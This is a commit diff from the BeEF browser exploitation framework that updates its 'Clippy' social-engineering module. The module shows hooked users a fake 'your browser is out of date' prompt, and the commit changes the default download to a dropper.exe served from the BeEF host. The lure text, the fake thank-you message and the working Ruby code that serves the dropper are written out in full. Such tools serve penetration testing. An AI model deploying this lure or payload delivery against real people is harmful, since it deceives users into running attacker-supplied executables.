Host clippy images locally
This commit is contained in:
2
modules/social_engineering/clippy/assets/README.txt
Normal file
2
modules/social_engineering/clippy/assets/README.txt
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
heretic-clippy is copyright (c) 2013 sprky0
|
||||||
|
Homepage: https://github.com/sprky0/heretic-clippy
|
||||||
BIN
modules/social_engineering/clippy/assets/clippy-main.png
Normal file
BIN
modules/social_engineering/clippy/assets/clippy-main.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 2.7 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 238 B |
BIN
modules/social_engineering/clippy/assets/clippy-speech-mid.png
Normal file
BIN
modules/social_engineering/clippy/assets/clippy-speech-mid.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 142 B |
BIN
modules/social_engineering/clippy/assets/clippy-speech-top.png
Normal file
BIN
modules/social_engineering/clippy/assets/clippy-speech-top.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 185 B |
@@ -9,7 +9,7 @@ beef:
|
|||||||
enable: true
|
enable: true
|
||||||
category: "Social Engineering"
|
category: "Social Engineering"
|
||||||
name: "Clippy"
|
name: "Clippy"
|
||||||
description: "Brings up a clippy image and asks the user to do stuff."
|
description: "Brings up a clippy image and asks the user to do stuff. Users who accept are prompted to download an executable.<br><br>You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt."
|
||||||
authors: ["vt [nick.freeman@security-assessment.com]", "denden [denis.andzakovic@security-assessment.com]"]
|
authors: ["vt [nick.freeman@security-assessment.com]", "denden [denis.andzakovic@security-assessment.com]"]
|
||||||
target:
|
target:
|
||||||
user_notify: ['ALL']
|
user_notify: ['ALL']
|
||||||
|
|||||||
@@ -4,12 +4,25 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
class Clippy < BeEF::Core::Command
|
class Clippy < BeEF::Core::Command
|
||||||
|
|
||||||
|
def pre_send
|
||||||
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-bottom.png','/clippy/clippy-speech-bottom','png')
|
||||||
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-mid.png','/clippy/clippy-speech-mid','png')
|
||||||
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-top.png','/clippy/clippy-speech-top','png')
|
||||||
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-main.png','/clippy/clippy-main','png')
|
||||||
|
end
|
||||||
|
|
||||||
def self.options
|
def self.options
|
||||||
|
@configuration = BeEF::Core::Configuration.instance
|
||||||
|
proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
||||||
|
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
|
||||||
|
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
|
||||||
|
base_host = "#{proto}://#{beef_host}:#{beef_port}"
|
||||||
|
|
||||||
return [
|
return [
|
||||||
{'name' =>'clippydir', 'description' =>'Webdir containing clippy image', 'ui_label'=>'Clippy image', 'value' => 'http://clippy.ajbnet.com/1.0.0/'},
|
{'name' =>'clippydir', 'description' =>'Webdir containing clippy images', 'ui_label'=>'Clippy image directory', 'value' => "#{base_host}/clippy/"},
|
||||||
{'name' =>'askusertext', 'description' =>'Text for speech bubble', 'ui_label'=>'Custom text', 'value' => 'Your browser appears to be out of date. Would you like to upgrade it?'},
|
{'name' =>'askusertext', 'description' =>'Text for speech bubble', 'ui_label'=>'Custom text', 'value' => 'Your browser appears to be out of date. Would you like to upgrade it?'},
|
||||||
{'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'},
|
{'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => "#{base_host}/dropper.exe"},
|
||||||
{'name' =>'respawntime', 'description' =>'', 'ui_label'=>'Time until Clippy shows his face again', 'value' => '5000'},
|
{'name' =>'respawntime', 'description' =>'', 'ui_label'=>'Time until Clippy shows his face again', 'value' => '5000'},
|
||||||
{'name' =>'thankyoumessage', 'description' =>'Thankyou message after downloading', 'ui_label'=>'Thankyou message after downloading', 'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!'}
|
{'name' =>'thankyoumessage', 'description' =>'Thankyou message after downloading', 'ui_label'=>'Thankyou message after downloading', 'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!'}
|
||||||
]
|
]
|
||||||
@@ -21,6 +34,10 @@ class Clippy < BeEF::Core::Command
|
|||||||
#
|
#
|
||||||
def post_execute
|
def post_execute
|
||||||
save({'answer' => @datastore['answer']})
|
save({'answer' => @datastore['answer']})
|
||||||
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-main.png')
|
||||||
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-top.png')
|
||||||
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-mid.png')
|
||||||
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-bottom.png')
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
Reference in New Issue
Block a user